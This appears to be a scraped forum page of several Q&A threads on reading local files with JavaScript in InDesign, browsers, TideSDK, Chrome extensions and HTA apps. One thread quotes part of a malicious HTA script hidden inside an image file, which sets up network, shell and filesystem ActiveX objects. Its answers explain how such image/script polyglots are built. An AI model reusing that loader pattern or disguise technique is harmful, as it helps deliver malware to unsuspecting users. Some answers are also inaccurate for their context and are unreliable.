How can I open a text file, read the contents, and then insert the contents into a document in InDesign?
Here's an example of reading a file from InDesign. If you want to write to a file as well, you will need to open the file in write mode w instead.
// Choose the file from a dialog
var file = File.openDialog();
// Or use a hard coded path to the file
// var file = File("~/Desktop/hello world.txt");
// Open the file for reading
file.open("r");
// Get the first text frame of the currently active document
var doc = app.activeDocument;
var firstTextframe = doc.pages[0].textFrames[0];
// Add the contents of the file to the text frame
firstTextframe.contents += file.read();
Here is a link to the File object's documentation online. You can also find the rest of InDesign's scripting DOM documentation here.
This is the pdf for InDesign JavaScript scripting. There's a few mentions of a File object in there, but it's not documented.
http://www.adobe.com/products/indesign/scripting/pdfs/InDesignCS4_ScriptingGuide_JS.pdf
That's because the core utilities for all CS5 products are documented here
https://www.adobe.com/content/dam/Adobe/en/devnet/indesign/cs55-docs/InDesignScripting/InDesign-ScriptingTutorial.pdf
or the general documentation:
http://www.adobe.com/content/dam/Adobe/en/devnet/scripting/pdfs/javascript_tools_guide.pdf
Look for: File System Access
Thanks for the pointer to the various PDFs.
The response to this question is in the execute() command.
fileObj.execute()
Javascript does not allow access to your computer's operating system, files or directories for security reasons, therefore there is no way to access the text file directly using Javascript.
Usually a server-side technology such as PHP, Adobe Coldfusion, Java or .NET (for example) is used to upload the file via a HTML form submission, read it and do whatever it needs to do.
I hope that helps.
Related
Working in Chrome, loading a local html or JS file.
I found many examples of how to load a file that is selected using the Choose File input.
However, didn't figure out how to do it given a file name without using the Choose File input.
The Choose File input returns a File object.
How to create the File object without the Choose File input?
From the File API:
new File(
Array parts,
String filename,
BlobPropertyBag properties
);
But didn't figure out what the parts and properties would be.
Edit: Use case:
I have code coverage results generated as part of a test suite. It is stored as JSON (which is easy to read), but I need to display it with the source code.
So the feature is to load the source code and JSON data, and render them together on a web page using HTML and Javascript.
The file would be opened from the browser and lives on the local machine. There is no server.
The browser cannot load arbitrary files by name from your filesystem without special extensions or other shenanigans. This is a security policy to prevent random web sites from reading files from your hard disk as you browse the internet.
If you're down to do something special like if you want to write a chrome app, you could get access to some nice APIs for accessing the filesystem:
https://developer.chrome.com/apps/fileSystem
The File constructor doesn't read a file from the harddrive, but rater make a virtual file, consider this:
var file = new File(["some", "content"], "/tmp/my-name.txt");
var reader = new FileReader();
reader.onload = function() {
console.log(reader.result); // somecontent
};
No file will be read or stored on the clients machine.
If you are talking about creating files in nodejs then you should take a look at fs.
For security reasons all browsers don't support predefined values on file fields so the answer is you can't.
I'm working on an HTML/javascript app intended to be run locally.
When dealing with img tags, it is possible to set the src attribute to a file name with a relative path and thereby quickly and easily load an image from the app's directory. I would like to use a similar method to retrieve a text file from the app's directory.
I have used TideSDK, but it is less lightweight. And I am aware of HTTP requests, but if I remember correctly only Firefox has taken kindly to my use of this for local file access (although accessing local images with src does not appear to be an issue). I am also aware of the FileReader object; however, my interface requires that I load a file based on the file name and not based on a file-browser selection as with <input type="file">.
Is there some way of accomplishing this type of file access, or am I stuck with the methods mentioned above?
The browser will not permit you to access files like that but you can make javascript files instead of text files like this:
text1.js:
document.write('This is the text I want to show in here.'); //this is the content of the javascript file
Now call it anywhere you like:
<script type="text/javascript" src="text1.js"></script>
There are too many security issues (restrictions) within browsers making many local web-apps impossible to implement so my solution to a similar problem was to move out of browsers and into node-webkit which combines Chromium + Node.js + your scripts, into an executable with full disk I/O.
http://nwjs.io/
[edit] I'm sorry I thought you wanted to do this with TideSDK, I'll let my answer in case you want to give another try to TideSDK [/edit]
I'm not sure if it's what you're looking for but I will try to explain my case.
I've an application which allow the user to save the state of his progress. To do this, I allow him to select a folder, enter a filename and write this file. When the user open the app, he can open the saved file, and get back his progress. So I assume this enhancement is similar of what you are looking for.
In my case, I use the native File Select to allow the user to select a specific save (I'm using CoffeeScript) :
Ti.UI.currentWindow.openFileChooserDialog(_fileSelected, {
title: 'Select a file'
path: Ti.Filesystem.getDocumentsDirectory().nativePath()
multiple: false
})
(related doc http://tidesdk.multipart.net/docs/user-dev/generated/#!/api/Ti.UI.UserWindow-method-openFileChooserDialog)
When this step is done I will open the selected file :
if !filePath?
fileToLoad = Ti.Filesystem.getFile(scope.fileSelected.nativePath())
else
fileToLoad = Ti.Filesystem.getFile(filePath)
data = Ti.JSON.parse(fileToLoad.read())
(related doc http://tidesdk.multipart.net/docs/user-dev/generated/#!/api/Ti.Filesystem)
Please note that those snippets are copy/paste from my project and they will not work without the rest of my code but I think it's enough to illustrate you how I manage to open a file, and read his content.
In this case I'm using Ti.JSON.parse because there is only javascript object in these files but in your case you can just get the content. The openFileChooserDialog isn't mandatory, if you already know the file name, or if you get it from another way you can use Ti.Filesystem in your own way.
I need to add a browse button inside my Chrome extension. Users click it and choose a file. I then want to retrieve the file contents (bytes) and do some work on it.
I don't want to have to submit the file to a remote server and then get the response (if that's even doable from inside a Chrome extension), it should be all client-side.
Is this doable inside Chrome extensions?
You should be looking at the FileReader API.
The FileReader object lets web applications asynchronously read the contents of files (or raw data buffers) stored on the user's computer, using File or Blob objects to specify the file or data to read.
A very good basic example of using this interface is in this question.
A minimal example: suppose that you have an <input type="file" id="file"> with a text file selected.
var file = document.getElementById("file").files[0];
var reader = new FileReader();
reader.onload = function(e){
console.log(e.target.result);
}
reader.readAsText(file);
If you need methods other than reading as text (i.e. binary data), see the docs.
Also, this is a good overview: Using files from web applications
Regarding your question it is totally feasible to load and process a file within an extension. I implemented it using message passing https://developer.chrome.com/docs/extensions/mv3/messaging/.
Here is an example of how you can implement it, in my case I used the input file to load an excel. This is my public repo.
https://github.com/juanmachuca95/gomeetplus
I've noticed a new trend in distributing potentially unsafe code where people will post an image to a server with a watermark suggesting that they change the filename to have a .HTA file extension.
I realized that .HTA was an HTML Application file, which are implicitly trusted by Microsoft's logic and can contain code to do just about anything web-based. I opened the file with my favourite text editor and to my amazement there was Javascript code within the image file!
jfHe299x4qBICCBRgpbl81xTjwucn9j4s1UVZxe8kwoJcdWnXuVHqpilRRhptKRACMBr5koY8vt6AEttD5xeGTOPCfBoQVjCvblkiGcc4ddlfiZiBPdCVAlelSbvhv9XWcoMIYyGMCbMaGv9YUyFrHZg3ZVx6HnRCgz4CyaA2bU9qn6R3NkmHx0W3uG7SZcHYyPiMN6AnWDGXRztMnxL3sY1s3h9VH1oTL34iYawlaEUDOUscX19pPz89v0rfmlqKTXce16vSZ6JDsy4IC5SktfXdt3m50z2R5BbwuhP5BHJITxvD4dHzL6K4uh9tIc4gYCFnDV
//<script id=thisscript>
var dom1 = ["zip","img","zip","orz","orz","zip","cgi"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin"];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
There is more garbled image data below the source code as well. This is just a snippet.
I'm very curious to know how they were able to add Javascript code to an image file without corrupting the image file format and making it unviewable. I presented this to some of my co-workers, and they were equally stumped.
My guess is that this is a multipart file of some sort (for which it would be perfectly fine to contain both images and script data), that maybe gets executed straight away (in a local context) because it's treated as a Hypertext Application.
For more info, we would need to see the full actual file.
The problem here is liberal file format tolerances.
The JPG interpreter is forgiving enough to ignore "corrupted" non-image data. That's how you can view a large JPG while it's still downloading. The HTA interpreter is forgiving enough to ignore all the weird "text" at the top of the file and proceed to evaluate the stuff that looks like markup and script below.
There's another post about this curious behavior here:
Can I embed an icon to a .hta file?
In it Alexandre Jasmine suggests embedding an icon in an HTA with this command line:
copy /b icon.ico+source.hta iconapp.hta
The image/script you found could have been created using this technique.
You didn't include the entire script, but what you show looks pretty scary. An HTA script with a web connection, shell and filesystem object can do whatever it wants with your local filesystem then phone home once it's done.
How can I check to see if a file is already open by another user in javascript? As it is right now, the program I'm trying to fix will open/edit a file then fail on trying to save if the file is already in use.
Also, is there an easy way to add a lock on the file so another process knows it's in use?
Edit: the program is a .hta using Active X Objects.
i guess i should have been more specific, here's some code about how it is opening/editing/saving the files.
var FileSystem = new ActiveXObject( "Scripting.FileSystemObject" );
var xmlDoc = new ActiveXObject( "Msxml2.DOMDocument.3.0" );
var fFile = FileSystem.GetFile( strPath );
xmlDoc.load( fFile.Path );
// some method's to edit documentElement in xmlDoc...
xmlDoc.save( fFile.Path );
Are you sure it's just JavaScript and not a combo of maybe an ActiveX or flash component? Is the file on the client or server? If server, this question makes more sense to me (ie. using some AJAX solution).
I'm not too familiar with ActiveX, but maybe when you open a file you could create a temporary file like file.ext.lock (and delete it when you save the file), so when another user tries to open the same file and sees the .lock file exists, you know it's being used.
You would probably need a server side locking feature. The javascript would call the server's 'save' script, which would return either a 'successful' status, or 'file locked'.
The simplest lock method that most programs use is creating another file with the same name but an extension such as '.lock'. A process checks if the file exists when opening the original, if so the file is in use and can only be opened as read only. If not, the lock file is created and the original can be edited.
will open/edit a file then fail on trying to save.
Javascript cannot open files or save them.
That may be your problem.
It could "edit" them - you can use JS to manipulate or edit an HTML page. [Even running a whole Rich Text Editor.]
But you then have to pass the page back to some other script to actually save those changes.
This is actually not true if you have Aptana or similar server side Javascript, or if it is being used [mozdev] to pass data to SQLite which can save its own data. If this is your case you should specify, as it is hardly typical Javascript usage.